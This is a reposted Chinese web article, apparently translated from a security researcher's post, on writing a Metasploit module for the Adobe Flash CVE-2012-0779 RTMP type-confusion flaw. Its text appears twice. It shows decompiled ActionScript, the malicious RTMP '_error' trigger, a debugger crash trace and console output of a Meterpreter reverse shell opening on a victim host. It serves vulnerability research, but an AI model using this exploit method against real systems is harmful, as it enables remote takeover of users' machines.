利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)
发布时间:2012-06-28 15:22:11 作者:佚名 我要评论
上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本
(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun)
上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。
根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。
今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。
最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理 AMF (Action Message Format)发生的问题。
public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}
我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:
第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:
恶意RTMP服务器响应的“_error”信息如下,看起来如下:
Field Name
Type
Description Command Name
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:
(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax
因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。
Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。
如下:
msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process
该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。
via/Juan Vazquez 译/freebuf
根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。
今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。
最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理 AMF (Action Message Format)发生的问题。
复制代码
代码如下:public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}
我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:
第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:
恶意RTMP服务器响应的“_error”信息如下,看起来如下:
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:
复制代码
代码如下:(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax
因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。
Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。
如下:
复制代码
代码如下:msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process
该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。
via/Juan Vazquez 译/freebuf
相关文章
2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)
Windows系列服务器于2019年5月15号,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口332021-07-25宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析
这篇文章主要介绍了宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下2020-08-24CPU幽灵和熔断漏洞是什么?Intel为大家简单易懂的科普了一番
不久前让整全行业紧张、全球用户恐慌的Spectre幽灵、Meltdown熔断两大漏洞事件刚刚告一段落了,那么这两个漏洞到底是什么?可能还有很多人不是很清楚,想了解的朋友跟着小2018-03-21- 2017年5月12日,WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机,该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密,本文对其2017-05-17
- 大部分的用户可能不要了解文件上传漏洞,下面小编就为大家具体的讲解什么事文件上传漏洞以及文件上传漏洞的几种方式2016-11-02
- 漏洞检测工具用语有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介绍,本文介绍的非常详细,具有参考解决价值,感兴趣的朋友一起看看吧2016-10-11
- 漏洞无处不在,它是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统2016-09-29
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击,不仅仅有网站挂马式钓鱼,也有鱼叉式邮件钓鱼,下面小编就为大家介绍office漏洞CVE-2012-0158,一起来看看吧2016-09-28- SSL(安全套接字层)逐渐被大家所重视,但是最不能忽视的也是SSL得漏洞,随着SSL技术的发展,新的漏洞也就出现了,下面小编就为大家介绍简单七步教你如何解决关键SSL安全问题2016-09-23
- 在爬虫开发中,大家可以很轻易地 bypass 所谓的 UA 限制,甚至用 scrapy 框架轻易实现按照深度进行爬行。但是实际上,这些并不够。关于爬虫的基础知识比如数据处理与数据存2016-09-12
最新评论